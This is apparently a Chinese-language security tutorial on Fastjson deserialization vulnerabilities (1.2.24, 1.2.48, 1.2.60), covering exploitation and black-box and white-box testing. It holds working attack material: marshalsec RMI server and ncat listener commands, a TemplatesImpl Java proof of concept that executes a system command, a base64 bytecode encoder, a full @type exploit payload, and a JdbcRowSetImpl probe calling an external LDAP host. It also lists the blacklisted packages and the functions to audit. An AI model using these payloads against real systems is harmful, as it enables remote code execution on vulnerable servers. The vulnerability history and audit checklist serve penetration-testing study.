某json 黑盒盲测与白盒审计
字数 1781 2025-08-26 22:11:52
Fastjson漏洞分析与利用教学文档
一、Fastjson简介
Fastjson是阿里巴巴开源的一个高性能JSON处理Java库,主要功能包括:
- 将Java对象转换为JSON格式(序列化)
- 将JSON转换为Java对象(反序列化)
- 地址:https://github.com/alibaba/fastjson
二、Fastjson漏洞历史
1. Fastjson-1.2.24漏洞
- 漏洞原理:Fastjson通过
@type字段指定JSON应还原的对象类型,攻击者可利用此特性构造恶意JSON实现RCE - 影响版本:1.2.24及以下
2. Fastjson-1.2.48以下版本漏洞
- 漏洞原理:
checkAutoType检测黑名单时存在绕过问题 - 影响版本:1.2.48以下
3. Fastjson-1.2.60以下版本漏洞
- 漏洞原理:字符串中包含
\x转义字符时可造成DoS漏洞 - 影响版本:1.2.60以下
三、漏洞复现环境
测试环境配置
- Java版本:1.8.0_181
- Fastjson版本:1.2.24
- Tomcat版本:7
JDK安全版本
- JDK 8u121, 7u131, 6u141
- RMI (JDK 6u132, 7u122, or 8u113)
四、Fastjson利用方式
1. 服务器出网情况
- 使用JNDI注入
- LDAP方式
- RMI方式
RMI利用方法
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://x.x.x.x/#Poc" 9999
python -m SimpleHTTPServer 80
ncat –lvvp 9998
2. 服务器不能出网情况
- 直接本地反序列化
- 使用
BasicDataSource(依赖tomcat-dbcp:7.x/9.x或commons-dbcp:1.4) - 使用
TemplatesImpl
- 使用
TemplatesImpl利用方法
关键点:
_bytecodes是私有属性,需要设置Feature.SupportNonPublicField- 利用代码示例:
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Poc extends AbstractTranslet {
public Poc() throws IOException {
Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) { }
@Override public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException { }
public static void main(String[] args) throws Exception {
Poc t = new Poc();
}
}
生成字节码并编码
import base64
fin = open(r"Poc.class", "rb")
fout = open(r"en1.txt", "w")
s = base64.encodestring(fin.read()).replace("\n", "")
fout.write(s)
fin.close()
fout.close()
最终POC示例
{
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": ["yv66vgAAADQAJgoABwAX..."],
"_name": "a.b",
"_tfactory": {},
"_outputProperties": {}
}
3. BasicDataSource利用方法
- 依赖:commons-dbcp.jar或tomcat-dbcp.jar
- 类路径:
org.apache.commons.dbcp.BasicDataSourceorg.apache.tomcat.dbcp.dbcp.BasicDataSource
五、黑白盒测试方法
黑盒测试方法
-
错误探测法:
- 使用不闭合
{花括号 - 多添加
"双引号
- 使用不闭合
-
Fastjson与Jackson区分:
- 原始JSON:
{"name":"somename", "age":12} - 修改为:
{"name":"somename", "age":12, "whatever":1} - Fastjson不会报错,Jackson会报错
- 原始JSON:
-
DoS检测:
{"a":"\x观察返回时间
-
反序列化探测:
{"id":"1","name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://fatjaon.tuq75v.ceye.io","autoCommit":true}}
白盒审计方法
-
版本检查:
- 检查Fastjson jar包是否小于1.2.48
-
关键函数审计:
JSON.parseObject()JSONObject.parseObject()JSON.parseAarry()
-
黑名单检查:
config.checkAutoType(typeName)检查是否包含以下包:
bsh com.mchange com.sun. java.lang.Thread java.net.Socket java.rmi javax.xml org.apache.bcel org.apache.commons.beanutils org.apache.commons.collections.Transformer org.apache.commons.collections.functors org.apache.commons.collections4.comparators org.apache.commons.fileupload org.apache.myfaces.context.servlet org.apache.tomcat org.apache.wicket.util org.codehaus.groovy.runtime org.hibernate org.jboss org.mozilla.javascript org.python.core org.springframework
六、利用链及版本对应表
| 利用链 | Payload类型 | 依赖 |
|---|---|---|
| BasicDataSource | local | tomcat-dbcp:7.x, tomcat-dbcp:9.x, commons-dbcp:1.4 |
| JdbcRowSetImpl | jndi | Fastjson 1.2.47及以下 |
| TemplatesImp | local | 需要Feature.SupportNonPublicField |
七、实用小技巧
- 测试过程中回显较慢或卡顿可能是正在执行命令
- Poc.java文件建议用JDK1.6编译,确保兼容性
- 实际环境中使用
parseObject和Feature.SupportNonPublicField的情况较少,漏洞利用有一定限制